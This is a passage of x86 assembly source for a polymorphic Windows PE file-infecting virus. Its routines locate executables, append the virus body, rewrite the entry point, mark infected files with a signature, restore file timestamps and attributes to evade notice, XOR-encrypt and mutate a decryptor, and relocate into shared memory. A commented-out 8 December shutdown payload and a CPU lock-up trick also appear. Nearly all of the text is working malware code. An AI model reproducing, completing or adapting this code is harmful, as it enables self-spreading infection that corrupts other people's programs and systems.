  712. ;| |                         GetAddressOfKernelAPI                          | |
  713. ;| |                                                                        | |
  714. ;| +------------------------------------------------------------------------+ |
  715. ;+----------------------------------------------------------------------------+
  716. ; Description
  717. ;   -> Finds the address of GetProcAddress or VxDCall API in KERNEL32.DLL. The
  718. ;      VxDCall API is exported by ordinal only, and the GetProcAddress is
  719. ;      exported by name.
  720. ;
  721. ; Arguments
  722. ;   -> EDX: offset of the program <---- NOT USED ANYMORE ???
  723. ;   -> gaoka_wAPIName: If 0, the address of VxDCall is Returned. Else, the address
  724. ;                      of GetProcAddress is returned.
  725. ;
  726. ; Return Value:
  727. ;   -> EAX: Address of the Required API if Found, Else NULL
  728. ;
  729. ; Registers Destroyed
  730. ;   -> All
  731. ;______________________________
  732. GetAddressOfKernelAPI PROC gaoka_wAPIName:WORD
  733.     LOCAL   lpdwAddressOfFunctions:DWORD, \
  734.             lpdwAddressOfNames:DWORD, \
  735.             lpwAddressOfNameOrdinals: WORD, \
  736.             dwVAIED:DWORD
  737.  
  738. ;Get File Headers
  739.     call    GetFileHeaders, dwKernelBase
  740.     test    eax, eax                            ;Successfully Retreived Headers?
  741.     je      End_GetAddressOfKernelAPI           ;No, probably Windows NT / 2000
  742.     mov     [dwVAIED], edx
  743.     mov     esi, dwKernelBase
  744.  
  745. ;Get Address of Functions
  746.     mov     ecx, [dwVAIED]
  747.     mov     eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfFunctions
  748.     add     eax, esi                                    ;VA of Address of functions
  749.     mov     dword ptr [lpdwAddressOfFunctions], eax
  750.  
  751. ;Check which API is Required
  752.     cmp     [gaoka_wAPIName], 0         ;Return Address of VxDCall or GetProcAddress ?
  753.     jne     GetProcAddressRequired      ;GetProcAddress
  754.  
  755. ;Get Address of VxDCall API (Ordinal 1)
  756.     xor     eax, eax
  757.     inc     eax                                             ;Ordinal Reqd = 1
  758.     sub     eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_Base    ;Index In Array
  759.     jmp     GetAddressFromIndex
  760.  
  761. GetProcAddressRequired:
  762. ;Get Address of Names
  763.     mov     ecx, [dwVAIED]
  764.     mov     eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNames
  765.     add     eax, esi                                    ;VA of Address of Names
  766.     mov     dword ptr [lpdwAddressOfNames], eax
  767.  
  768. ;Get Address of Name ordinals
  769.     mov     ecx, [dwVAIED]
  770.     mov     eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNameOrdinals
  771.     add     eax, esi                                    ;VA of Add of Name Ordinals
  772.     mov     dword ptr [lpwAddressOfNameOrdinals], eax
  773.  
  774. ;Find the API index in the AddressOfNames array
  775.     push    esi                             ;Save the base address of KERNEL32
  776.     mov     eax, esi                        ;Also save in EAX
  777.     xor     ebx, ebx
  778.     dec     ebx                             ;Initialize Index to -1
  779.     mov     edx, dword ptr [lpdwAddressOfNames]
  780.  
  781.     @OFFSET esi, szGetProcAddress           ;API to be found
  782.     mov     ecx, esi                        ;Save address in ECX
  783.  
  784. CheckNextAPI:
  785.     inc     ebx                             ;increment index
  786.     mov     edi, dword ptr [edx + ebx*4]    ;go the the ebx'th index
  787.     add     edi, eax                        ;get the VA from the RVA
  788.     mov     esi, ecx                        ;get address stored previously
  789.  
  790. CheckNextByte:
  791.     cmpsb                           ;Check Byte
  792.     jne     CheckNextAPI            ;byte did not match, Incorrect API, Check Next One
  793.     cmp     byte ptr [edi], 0       ;Have we reached the end-of-string
  794.     je      FoundAPI                ;Yes? We've found the API
  795.     jmp     CheckNextByte           ;No, Check the next byte
  796.  
  797. FoundAPI:
  798.     ;EBX contains the index of the function into the array
  799.     pop     esi                     ;Get the base address of KERNEL32
  800.  
  801. ;Compute the Index
  802.     mov     ecx, ebx
  803.     mov     edx, dword ptr [lpwAddressOfNameOrdinals]
  804.     movzx   eax, word ptr [edx + ecx*2]             ;Index
  805.  
  806. ;Get the Address (EAX = Index, ESI = Kernel32 Base)
  807. GetAddressFromIndex:
  808.     mov     ebx, [lpdwAddressOfFunctions]
  809.     mov     eax, dword ptr [ebx + eax*4]            ;RVA of the API
  810.     add     eax, esi                                ;VA of the API
  811.  
  812. End_GetAddressOfKernelAPI:
  813.     ret
  814. GetAddressOfKernelAPI ENDP
  815. ;+----------------------------------------------------------------------------+
  816. ;| +------------------------------------------------------------------------+ |
  817. ;| |                                                                        | |
  818. ;| |                        OpenAndMapFile                                  | |
  819. ;| |                                                                        | |
  820. ;| +------------------------------------------------------------------------+ |
  821. ;+----------------------------------------------------------------------------+
  822. ; Description
  823. ;   -> Opens a file from disk, and maps it into memory. The function also
  824. ;      saves the file modified time and file attributes before opening the
  825. ;      file. These are later restored by UnmapAndCloseFile
  826. ;
  827. ; Arguments
  828. ;   -> DWORD oamf_szFileName: Pointer to ASCIIZ name of file to be mapped
  829. ;   -> DWORD oamf_dwAddBytes: Number of bytes by which to increase the file size
  830. ;
  831. ; Return Value:
  832. ;   -> EAX: Starting address of memory where the file has been mapped, or 0
  833. ;      if an error occured
  834. ;   -> ECX: Original File Size
  835. ;
  836. ; Registers Destroyed
  837. ;   -> All
  838. ;_______________________________________________________________
  839. OpenAndMapFile PROC oamf_szFileName:DWORD, oamf_dwAddBytes:DWORD
  840.     @DELTA  esi
  841.  
  842. ;Save File Attributes, and Clear all attributes
  843.     call    esi + GetFileAttributesA, oamf_szFileName
  844.     mov     [esi + dwFileAttributes], eax               ;Save File Attributes
  845.     call    esi + SetFileAttributesA, oamf_szFileName, FILE_ATTRIBUTE_NORMAL
  846.     test    eax, eax                                    ;File Attributes Set ?
  847.     je      End_OpenAndMapFile                          ;No, Return 0
  848.  
  849. ;Open the file in R/W mode
  850.     call    esi + CreateFileA, oamf_szFileName, GENERIC_READ OR GENERIC_WRITE, \
  851.         FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL
  852.     cmp     eax, INVALID_HANDLE_VALUE   ;File Opened ?
  853.     je      Error_OpenAndMapFile_Create ;No
  854.     mov     [esi + hHostFile], eax      ;Yes, Save handle of host file
  855.  
  856. ;Get and Store File Time
  857.     lea     ebx, [esi + ftLastAccessTime]
  858.     lea     ecx, [esi + ftLastWriteTime]
  859.     call    esi + GetFileTime, eax, NULL, ebx, ecx
  860.  
  861. ;Compute the new file size
  862.     call    esi + GetFileSize, [esi + hHostFile], NULL
  863.     add     eax, [oamf_dwAddBytes]      ;Compute New File Size
  864.  
  865. ;Map the file
  866.     call    esi + CreateFileMappingA, [esi + hHostFile], NULL, PAGE_READWRITE, \
  867.                 0, eax, NULL
  868.     test    eax, eax                                ;File Mapping Created
  869.     jz      Error_OpenAndMapFile_Mapping            ;No
  870.     mov     [esi + hMappedFile], eax                ;Yes, Save Handle
  871.  
  872. ;Map View of the File
  873.     call    esi + MapViewOfFile, eax, FILE_MAP_ALL_ACCESS, 0, 0, 0
  874.     mov     [esi + lpHostFile], eax                     ;Have to save Mapped Address
  875.     test    eax, eax                                    ;File Mapped Successfully ?
  876.     jnz     End_OpenAndMapFile                          ;Yes
  877.  
  878. ;Error Occured, Close Files, and Restore Attributes
  879.     call    esi + CloseHandle, [esi + hMappedFile]  ;Failed, Close File Mapping
  880.  
  881. Error_OpenAndMapFile_Mapping:
  882.     call    esi + CloseHandle, [esi + hHostFile]    ;Failed, Close the File
  883.  
  884. Error_OpenAndMapFile_Create:
  885.     call    esi + SetFileAttributesA, oamf_szFileName, [esi + dwFileAttributes]
  886.     xor     eax, eax                                ;Error, Return 0
  887.  
  888. End_OpenAndMapFile:
  889.     ret
  890. OpenAndMapFile ENDP
  891. ;+----------------------------------------------------------------------------+
  892. ;| +------------------------------------------------------------------------+ |
  893. ;| |                                                                        | |
  894. ;| |                        UnmapAndCloseFile                               | |
  895. ;| |                                                                        | |
  896. ;| +------------------------------------------------------------------------+ |
  897. ;+----------------------------------------------------------------------------+
  898. ; Description
  899. ;   -> Unmaps the open file and closes the handles associated with it. It
  900. ;      also restores the original file attributes and file time.
  901. ;
  902. ; Arguments
  903. ;   -> uacf_szFilename: Name of the file that is being unmapped. This is
  904. ;      used only to restore the file attributes
  905. ;
  906. ; Return Value:
  907. ;   -> None
  908. ;
  909. ; Registers Destroyed
  910. ;   -> All
  911. ;_____________________
  912. UnmapAndCloseFile PROC uacf_szFilename:DWORD
  913. ;Unmap File
  914.     @DELTA  esi
  915.     call    esi + UnmapViewOfFile, [esi + lpHostFile]       ;Unmap the File
  916.     call    esi + CloseHandle, [esi + hMappedFile]          ;Close File Mapping
  917.  
  918. ;Restore File Time
  919.     lea     eax, [esi + ftLastAccessTime]
  920.     lea     ebx, [esi + ftLastWriteTime]
  921.     call    esi + SetFileTime, [esi + hHostFile], NULL, eax, ebx
  922.  
  923. ;Close File
  924.     call    esi + CloseHandle, [esi + hHostFile]            ;Close the File
  925.  
  926. ;Restore File Attributes
  927.     call    esi + SetFileAttributesA, uacf_szFilename, [esi + dwFileAttributes]
  928.  
  929.     ret
  930. UnmapAndCloseFile ENDP
  931. ;+----------------------------------------------------------------------------+
  932. ;| +------------------------------------------------------------------------+ |
  933. ;| |                                                                        | |
  934. ;| |                        InfectFile                                      | |
  935. ;| |                                                                        | |
  936. ;| +------------------------------------------------------------------------+ |
  937. ;+----------------------------------------------------------------------------+
  938. ; Description
  939. ;   -> Infects the host file with our virus
  940. ;
  941. ; Arguments
  942. ;   -> DWORD if_szFileName: Address of the file to be infected
  943. ;   -> DWORD if_dwIncFileSize: Size by which the section is 2B increased (Bytes)
  944. ;   -> DWORD if_dwIncSecSize: Size by which the file is 2B increased (Bytes)
  945. ;
  946. ; Return Value:
  947. ;   -> EAX: 1 if Infected, 0 on Error
  948. ;
  949. ; Registers Destroyed
  950. ;   -> All
  951. ;__________________________________
  952. InfectFile PROC if_szFileName:DWORD
  953.     LOCAL   lpdwLastSection:DWORD, \
  954.             dwVirusBegin:DWORD, \
  955.             dwNewEntryRVA:DWORD, \
  956.             dwJumpBytes:DWORD, \
  957.             dwIOH:DWORD, \
  958.             dwIncFileSize:DWORD, \
  959.             dwIncSecSize:DWORD, \
  960.             dwDeltaOffset:DWORD
  961.  
  962.     @DELTA  esi
  963.     mov     [dwDeltaOffset], esi        ;Save Delta Offset
  964.  
  965. ;Check if the file can be infected, or not
  966.     call    CanFileBeInfected, if_szFileName
  967.     test    eax, eax                    ;Can it be infected
  968.     jz      End_InfectFile              ;No
  969.     mov     [dwIncFileSize], ebx        ;Save Increase in File Size
  970.     mov     [dwIncSecSize], ecx         ;Save Increase in Section Size
  971.  
  972. ;Map Host File into Memory
  973.     call    OpenAndMapFile, if_szFileName, dwIncFileSize
  974.     test    eax, eax                    ;File Opened and Mapped Successfully
  975.     jz      End_InfectFile              ;No, Return Code = 0
  976.     mov     esi, [dwDeltaOffset]
  977.     mov     [esi + lpHostFile], eax     ;Save staring address of file
  978.  
  979. ;Get File Headers
  980.     call    GetFileHeaders, eax         ;This should not fail, since its already...
  981.     mov     [dwIOH], ebx                ;...called once in CanFileBeInfected
  982.     mov     [lpdwLastSection], ecx
  983.  
  984. ;Calculate the Starting of Virus Code in File
  985.     mov     eax, (IMAGE_SECTION_HEADER [ecx]).ISH_PointerToRawData
  986.     add     eax, (IMAGE_SECTION_HEADER [ecx]).ISH_SizeOfRawData
  987.     mov     [dwVirusBegin], eax         ;RVA of New Entry Point in File
  988.  
  989. ;Calculate RVA of New Entry Point
  990.     mov     ebx, [lpdwLastSection]
  991.     sub     eax, (IMAGE_SECTION_HEADER [ebx]).ISH_PointerToRawData
  992.     add     eax, (IMAGE_SECTION_HEADER [ebx]).ISH_VirtualAddress
  993.     mov     [dwNewEntryRVA], eax
  994.  
  995. ;Calculate Bytes of JMP Instruction
  996.     add     eax, offset ReturnToHost - offset StartOfVirusCode
  997.     mov     ebx, [dwIOH]
  998.     sub     eax, (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint
  999.     add     eax, 4
  1000.     not     eax
  1001.     mov     [dwJumpBytes], eax              ;Save Bytes
  1002.  
  1003. ;Append the Virus to the host
  1004.     mov     esi, offset StartOfVirusCode    ;Copy Virus from Here...
  1005.     add     esi, [dwDeltaOffset]            ;since StartOfVirusCode will vary after infection
  1006.     mov     edi, [dwVirusBegin]             ;...to here
  1007.     mov     ebx, [dwDeltaOffset]
  1008.     add     edi, [ebx + lpHostFile]         ;true location to copy to
  1009.     mov     ecx, VIRUS_SIZE
  1010.     rep     movsb
  1011.  
  1012. ;Write New Jump Instruction in File
  1013.     ;Offset in File where operand to JMP instruction is to be put
  1014.     mov     ebx, offset ReturnToHost + 1 - offset StartOfVirusCode
  1015.     add     ebx, [dwVirusBegin]         ;True offset in file
  1016.     mov     esi, [dwDeltaOffset]
  1017.     add     ebx, [esi + lpHostFile]     ;Correct offset in Memory Mapped File
  1018.     mov     ecx, [dwJumpBytes]          ;Get operand for jmp instruction
  1019.     mov     [ebx], ecx                  ;Put it in the file
  1020.  
  1021. ;Update the Last Section Header
  1022.     mov     eax, [lpdwLastSection]
  1023.     mov     ebx, [dwIncSecSize]
  1024.     mov     ecx, [dwIncFileSize]
  1025.     add     (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData, ecx
  1026.     add     (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx
  1027.     or      (IMAGE_SECTION_HEADER [eax]).ISH_Characteristics, IMAGE_READ_WRITE_EXECUTE
  1028.  
  1029. ;Fix VirtualSize (if Required) for files like TRACERT.EXE)
  1030.     mov     ebx, (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData
  1031.     cmp     (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx   ;Virtual Size Wrong
  1032.     jge     VirtualSizeFine                                     ;No, Fix Not Required
  1033.     mov     (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx   ;Yes, Fix it
  1034.  
  1035. VirtualSizeFine:
  1036.  
  1037. ;Update the PE Header (Image Size)
  1038.     mov     ebx, [dwIOH]                ;Address of Image Optional Header
  1039.     add     (IMAGE_OPTIONAL_HEADER [ebx]).IOH_SizeOfImage, ecx
  1040.  
  1041. ;Update the PE Header (Entry RVA)
  1042.     mov     ecx, [dwNewEntryRVA]        ;Get New Entry RVA
  1043.     mov     (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint, ecx
  1044.  
  1045. ;Update the Win32VersionValue field. This is used as a Virus Signature
  1046.     mov     (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
  1047.  
  1048. ;Encrypt the file, and Close it
  1049.     mov     ebx, [dwDeltaOffset]
  1050.     mov     edi, [ebx + lpHostFile]         ;Staring address of Host File
  1051.     add     edi, [dwVirusBegin]             ;Address of virus in file
  1052.     call    EncryptVirus
  1053.  
  1054.     call    UnmapAndCloseFile, if_szFileName
  1055.     xor     eax, eax
  1056.     inc     eax                             ;All OK, Return Code 1
  1057.  
  1058. End_InfectFile:
  1059.     ret
  1060. InfectFile ENDP
  1061. ;+----------------------------------------------------------------------------+
  1062. ;| +------------------------------------------------------------------------+ |
  1063. ;| |                                                                        | |
  1064. ;| |                        EncryptVirus                                    | |
  1065. ;| |                                                                        | |
  1066. ;| +------------------------------------------------------------------------+ |
  1067. ;+----------------------------------------------------------------------------+
  1068. ; Description
  1069. ;   -> Encrypts the Virus Code with a random byte, and mutates the decryptor,
  1070. ;      making the virus Encrypted & Polymorphic
  1071. ;
  1072. ; Arguments
  1073. ;   -> EDI: Starting address of Virus in Memory Mapped File
  1074. ;
  1075. ; Return Value:
  1076. ;   -> None
  1077. ;
  1078. ; Registers Destroyed
  1079. ;   -> All except EDI
  1080. ;________________
  1081. EncryptVirus PROC
  1082.     push    edi                     ;Save starting address of virus code
  1083.  
  1084. ;Get Encryption Key, to be used for encrypting/decrypting
  1085.     ;@DELTA esi
  1086.     ;call   esi + GetTickCount      ;Get random number in EAX (AL)
  1087.  
  1088.     in      al, 40h                 ;Get random encryption key
  1089.     IF DEBUG
  1090.         xor     al, al              ;Don't encrypt in Debug Mode
  1091.     ENDIF
  1092.  
  1093.     mov     ecx, ENCRYPTED_SIZE
  1094.     add     edi, LOADER_SIZE        ;Don't enrypt the loader !!
  1095. EncryptByte:
  1096.     xor     byte ptr [edi], al      ;al = Encryption Key
  1097.     inc     edi
  1098.     loop    EncryptByte
  1099.  
  1100.     pop     edi                     ;restore starting address of virus code
  1101.  
  1102. ;Update the Encryption Key in the decryptor
  1103.     mov     byte ptr [edi + EncryptionKey - StartOfVirusCode], al
  1104.  
  1105. ;Mutate the Decryptor
  1106.     call    MutateDecryptor
  1107.  
  1108.     ret
  1109. EncryptVirus ENDP
  1110. ;+----------------------------------------------------------------------------+
  1111. ;| +------------------------------------------------------------------------+ |
  1112. ;| |                                                                        | |
  1113. ;| |                          StringLength                                  | |
  1114. ;| |                                                                        | |
  1115. ;| +------------------------------------------------------------------------+ |
  1116. ;+----------------------------------------------------------------------------+
  1117. ; Description
  1118. ;   -> Returns the length of the string
  1119. ;
  1120. ; Arguments
  1121. ;   -> DWORD sl_lpszString: Address of the string
  1122. ;
  1123. ; Return Value:
  1124. ;   -> EAX: Length of the string
  1125. ;
  1126. ; Registers Destroyed
  1127. ;   -> EAX, ECX, EDI
  1128. ;____________________________________
  1129. StringLength PROC sl_lpszString:DWORD
  1130.     mov     edi, sl_lpszString          ;string whose length is required
  1131.     xor     ecx, ecx
  1132.     dec     ecx                     ;ecx = -1, search till infinity
  1133.     xor     eax, eax                ;search for NULL character
  1134.     repne   scasb                   ;Find the terminating NULL
  1135.     not     ecx
  1136.     dec     ecx                     ;length of string
  1137.     mov     eax, ecx                ;return length of string
  1138.     ret
  1139. StringLength ENDP
  1140. ;****************************************************************************
  1141. ;                               TimerProc
  1142. ;****************************************************************************
  1143. ; Description
  1144. ;   -> This function is called when the Time-out value for the Timer Expires.
  1145. ;
  1146. ; Arguments
  1147. ;   -> tp_hwnd: Handle of the window
  1148. ;      tp_uMsg: WM_TIMER
  1149. ;      tp_idEvent: ID of the timer
  1150. ;      tp_dwTimer: Value of GetTickCount()
  1151. ;
  1152. ; Return Value:
  1153. ;   -> None
  1154. ;
  1155. ; Registers Destroyed
  1156. ;   -> All
  1157. ;_____________________________________________________________________________
  1158. ;TimerProc PROC tp_hwnd:DWORD, tp_uMsg:DWORD, tp_idEvent:DWORD, tp_dwTime:DWORD
  1159. ;   LOCAL   dwDeltaOffset:DWORD, \
  1160. ;           dwFileNumber:DWORD, \
  1161. ;           stTime:SYSTEMTIME
  1162. ;   pushad                                      ;must save, since this is a CALLBACK fn
  1163. ;   @DELTA  esi
  1164. ;   mov     [dwDeltaOffset], esi
  1165. ;
  1166. ;Check if Date is 8th December
  1167. ;   lea     eax, stTime
  1168. ;   call    esi + GetLocalTime, eax
  1169. ;   cmp     stTime.ST_wMonth, 12            ;is Month = December
  1170. ;   jne     Not_8_December                  ;No
  1171. ;   cmp     stTime.ST_wDay, 8               ;Yes. Is Day = 8th
  1172. ;   jne     Not_8_December                  ;No
  1173. ;
  1174. ;Deliever Payload since date is 8th December
  1175. ;   call    PayLoad
  1176. ;
  1177. ;Not_8_December:
  1178. ;
  1179. ;Lock System if Windows has been running for a long time
  1180. ;   ;cmp    tp_dwTime, MAX_RUN_TIME             ;Is Windows Up-time > 2 hours
  1181. ;   ;jle    NoLockWindows                       ;No
  1182. ;   ;DB     0F0h                                ;Yes, use F00F Bug to hang / lock System
  1183. ;   ;DB     0Fh
  1184. ;   ;DB     0C7h
  1185. ;   ;DB     0C8h
  1186. ;
  1187. ;NoLockWindows:
  1188. ;
  1189. ;
  1190. ;End_TimerElapsed:
  1191. ;   popad                                       ;restore state
  1192. ;   ret
  1193. ;TimerProc ENDP
  1194. ;+----------------------------------------------------------------------------+
  1195. ;| +------------------------------------------------------------------------+ |
  1196. ;| |                                                                        | |
  1197. ;| |                           CanFileBeInfected                            | |
  1198. ;| |                                                                        | |
  1199. ;| +------------------------------------------------------------------------+ |
  1200. ;+----------------------------------------------------------------------------+
  1201. ; Description
  1202. ;   -> This function checks if a file can be infected or not. It checks the
  1203. ;      following:
  1204. ;      1. File must be an EXE
  1205. ;      2. File must be a PE
  1206. ;      3. It must not be a DLL
  1207. ;      4. File must not be infected by our virus
  1208. ;      5. It must not be a Winzip Self-Extractor File
  1209. ;
  1210. ;      If all the above conditions are met, this function returns the size, in
  1211. ;      bytes, by which the file and section must be increased when the file is
  1212. ;      infected.
  1213. ;
  1214. ; Arguments
  1215. ;   -> DWORD cfbe_szFileName: ASCIIZ Name of the file to check
  1216. ;
  1217. ; Return Value:
  1218. ;   -> EAX: 1 if the file can be infected, 0 Otherwise
  1219. ;   -> EBX: Bytes by which the file size must be increased if it is infected
  1220. ;   -> ECX: Bytes by which the last section size must be increased if it is infected
  1221. ;
  1222. ; Registers Destroyed
  1223. ;   -> All
  1224. ;___________________________________________
  1225. CanFileBeInfected PROC cfbe_szFileName:DWORD
  1226. ;Map File, without increasing the File Size
  1227.     call    OpenAndMapFile, cfbe_szFileName, 0
  1228.     test    eax, eax                        ;File Opened & Mapped Successfully
  1229.     jz      End_CanFileBeInfected           ;No, Return with Error Code = 0
  1230.  
  1231. ;Get File Headers
  1232.     call    GetFileHeaders, eax
  1233.     test    eax, eax                        ;Successfully retreived file headers
  1234.     je      End_CanFileBeInfected           ;No, probably not a PE file
  1235.  
  1236. ;Check if file is infected. We use the Win32VersionValue for storing our signature
  1237.     cmp     (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
  1238.     jz      Error_CanFileBeInfected         ;File is already infected
  1239.  
  1240. ;Check if file is a DLL
  1241.     test    (IMAGE_FILE_HEADER [eax]).IFH_Characteristics, IMAGE_FILE_DLL
  1242.     jnz     Error_CanFileBeInfected         ;Yes
  1243.  
  1244. ;Check if last section is sharable
  1245.     ;mov        edx, (IMAGE_SECTION_HEADER [ecx]).ISH_Characteristics
  1246.     ;and        edx, IMAGE_SCN_MEM_SHARED       ;Is Section Sharable
  1247.     ;jnz        Error_CanFileBeInfected         ;Yes, don't infect
  1248.  
  1249. ;Don't infect Winzip Self-Extractor Files.
  1250.     ;The last section of this file has the name _winzip_. Note that Winzip
  1251.     ;Self-Extrator Personal Edition Files will still be infected, since they
  1252.     ;don't have this section
  1253.     cmp     dword ptr (IMAGE_SECTION_HEADER [ecx]).ISH_Name, "niw_"     ;"_win" ?
  1254.     je      Error_CanFileBeInfected                                     ;Yes, dont infect
  1255.  
  1256. ;OK, File can be infected, Great !!, ;-)
  1257.     mov     eax, ebx                        ;Image Optional Header
  1258.     mov     ebx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_FileAlignment
  1259.     mov     ecx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_SectionAlignment
  1260.  
  1261. ;Calculate Increase in Section size
  1262.     ;INC_SEC_SIZE = [(VIRUS_SIZE - 1 + SECTION_ALIGN) / SECTION_ALIGN] * SECTION_ALIGN
  1263.     mov     eax, VIRUS_SIZE - 1
  1264.     add     eax, ecx                    ;Add Section Alignment
  1265.     xor     edx, edx                    ;We need to divide only EAX
  1266.     div     ecx                         ;Divide by SECTION_ALIGN
  1267.     mul     ecx                         ;Multiply by SECTION_ALIGN
  1268.     push    eax                         ;Save Increase in Section Size
  1269.  
  1270. ;Calculate Increase in File Size
  1271.     ;INC_FILE_SIZE = (INC_SEC_SIZE - 1 + FILE_ALIGN) / FILE_ALIGN] * FILE_ALIGN
  1272.     ;mov        eax, VIRUS_SIZE;**NEW LINE
  1273.     ;dec        eax                         ;INC_SEC_SIZE - 1
  1274.     mov     eax, VIRUS_SIZE - 1
  1275.     add     eax, ebx                    ;Add File Alignment, FILE_ALIGN
  1276.     div     ebx                         ;Divide by FILE_ALIGN
  1277.     mul     ebx                         ;Multiply by FILE_ALIGN
  1278.     push    eax                         ;Save Increase in File Size
  1279.  
  1280. ;Close the file, and return relevant values
  1281.     call    UnmapAndCloseFile, cfbe_szFileName
  1282.     pop     ebx                         ;Get Increase in File Size
  1283.     pop     ecx                         ;Get Increase in Section Size
  1284.     xor     eax, eax
  1285.     inc     eax                         ;Return Code 1
  1286.     jmp     End_CanFileBeInfected
  1287.  
  1288. Error_CanFileBeInfected:
  1289.     call    UnmapAndCloseFile, cfbe_szFileName
  1290.     xor     eax, eax                    ;Return Code 0
  1291.  
  1292. End_CanFileBeInfected:
  1293.     ret
  1294. CanFileBeInfected ENDP
  1295. ;+----------------------------------------------------------------------------+
  1296. ;| +------------------------------------------------------------------------+ |
  1297. ;| |                                                                        | |
  1298. ;| |                            PayLoad                                     | |
  1299. ;| |                                                                        | |
  1300. ;| +------------------------------------------------------------------------+ |
  1301. ;+----------------------------------------------------------------------------+
  1302. ; Description
  1303. ;   -> This function is called on the 8th of December. It delievers the Payload
  1304. ;      of the virus.
  1305. ;
  1306. ; Arguments
  1307. ;   -> None.
  1308. ;
  1309. ; Return Value:
  1310. ;   -> None.
  1311. ;
  1312. ; Registers Destroyed
  1313. ;   -> All
  1314. ;___________
  1315. ;PayLoad PROC
  1316. ;   @DELTA  esi
  1317. ;   ;call   ExitWindowsEx, EWX_FORCE OR EWX_SHUTDOWN, NULL
  1318. ;   call    esi + ExitWindowsEx, EWX_SHUTDOWN, NULL
  1319. ;   ret
  1320. ;PayLoad ENDP
  1321. ;+----------------------------------------------------------------------------+
  1322. ;| +------------------------------------------------------------------------+ |
  1323. ;| |                                                                        | |
  1324. ;| |                       CanMachineBeInfected                             | |
  1325. ;| |                                                                        | |
  1326. ;| +------------------------------------------------------------------------+ |
  1327. ;+----------------------------------------------------------------------------+
  1328. ; Description
  1329. ;   -> This function is called to check if the virus should infect this machine
  1330. ;      or not. This is used, so that the virus doesn't infect My Machine !!
  1331. ;
  1332. ; Arguments
  1333. ;   -> None.
  1334. ;
  1335. ; Return Value:
  1336. ;   -> EAX: 0 -> machine should not be infected, else it can be infected
  1337. ;
  1338. ; Registers Destroyed
  1339. ;   -> All
  1340. ;________________________
  1341. CanMachineBeInfected PROC
  1342.     @DELTA  esi
  1343.  
  1344. ;Check if the "No Infect" file exists on the current machine
  1345.     mov     eax, esi
  1346.     add     eax, offset szNoInfectFileName
  1347.     call    esi + CreateFileA, eax, GENERIC_READ, FILE_SHARE_READ, NULL, \
  1348.                 OPEN_EXISTING, NULL, NULL
  1349.     cmp     eax, INVALID_HANDLE_VALUE   ;File Opened ?
  1350.     je      End_CanMachineBeInfected    ;No, so machine can be infected
  1351.  
  1352. ;Close the file, and return 0, since its probably my machine
  1353.     call    esi + CloseHandle, eax
  1354.     xor     eax, eax                    ;return 0, so that machine is not infected
  1355.  
  1356. End_CanMachineBeInfected:
  1357.     ret
  1358. CanMachineBeInfected ENDP
  1359. ;+----------------------------------------------------------------------------+
  1360. ;| +------------------------------------------------------------------------+ |
  1361. ;| |                                                                        | |
  1362. ;| |                            RelocateVirus                               | |
  1363. ;| |                                                                        | |
  1364. ;| +------------------------------------------------------------------------+ |
  1365. ;+----------------------------------------------------------------------------+
  1366. ; Description
  1367. ;   -> This function allocates memory in the Shared area and copies the Virus
  1368. ;      to that area.
  1369. ;
  1370. ; Arguments
  1371. ;   -> None.
  1372. ;
  1373. ; Return Value:
  1374. ;   -> EAX: Base address of Memory where the Virus was copied, or NULL if an
  1375. ;      error occured.
  1376. ;
  1377. ; Registers Destroyed
  1378. ;   -> All
  1379. ;_________________
  1380. RelocateVirus PROC
  1381.     LOCAL   dwDeltaOffset:DWORD, \
  1382.             dwMemoryRegion:DWORD
  1383.  
  1384.     @DELTA  esi
  1385.     mov     [dwDeltaOffset], esi
  1386.  
  1387. ;Reserve Shared Memory
  1388.     @DELTA  esi
  1389.     call    esi + VxDCall, PageReserve, PR_SHARED, VIRUS_SIZE_PAGES, \
  1390.                 PC_WRITEABLE OR PC_USER
  1391.     cmp     eax, INVALID_HANDLE_VALUE           ;Memory Allocate Successfully?
  1392.     je      Error_RelocateVirus                 ;No
  1393.     cmp     eax, SHARED_MEMORY                  ;Shared memory Allocated?
  1394.     jb      Error_RelocateVirus                 ;No
  1395.  
  1396. ;Save Address of Region
  1397.     mov     [dwMemoryRegion], eax
  1398.  
  1399. ;Commit Shared Memory
  1400.     shr     eax, 0Ch                            ;Page Number
  1401.     mov     esi, [dwDeltaOffset]
  1402.     call    esi + VxDCall, PageCommit, eax, VIRUS_SIZE_PAGES, PD_ZEROINIT, 0, \
  1403.                      PC_WRITEABLE OR PC_USER OR PC_PRESENT OR PC_FIXED
  1404.     or      eax,eax
  1405.     je      Error_RelocateVirus
  1406.  
  1407. ;Copy Virus to Newly Allocate Memory
  1408.     mov     esi, dwDeltaOffset
  1409.     add     esi, offset StartOfVirusCode        ;Start Copying From Here
  1410.     mov     edi, [dwMemoryRegion]               ;Copy Here
  1411.     mov     ecx, VIRUS_SIZE                     ;Size to Copy
  1412.     rep     movsb
  1413.  
  1414.     mov     eax, [dwMemoryRegion]               ;Return Region of Shared Memory Allocated
  1415.     jmp     End_RelocateVirus
  1416.  
  1417. Error_RelocateVirus:
  1418.     xor     eax, eax                            ;Return 0, since an error occured
  1419.  
  1420. End_RelocateVirus:
  1421.     ret
  1422. RelocateVirus ENDP
  1423. ;+----------------------------------------------------------------------------+
  1424. ;| +------------------------------------------------------------------------+ |
  1425. ;| |                                                                        | |
  1426. ;| |                      InstallHookProcedure                              | |
  1427. ;| |                                                                        | |
  1428. ;| +------------------------------------------------------------------------+ |
  1429. ;+----------------------------------------------------------------------------+
  1430. ; Description
  1431. ;   -> This function installs a hook procedure to monitor VxDCalls
  1432. ;
  1433. ; Arguments
  1434. ;   -> None.
  1435. ;
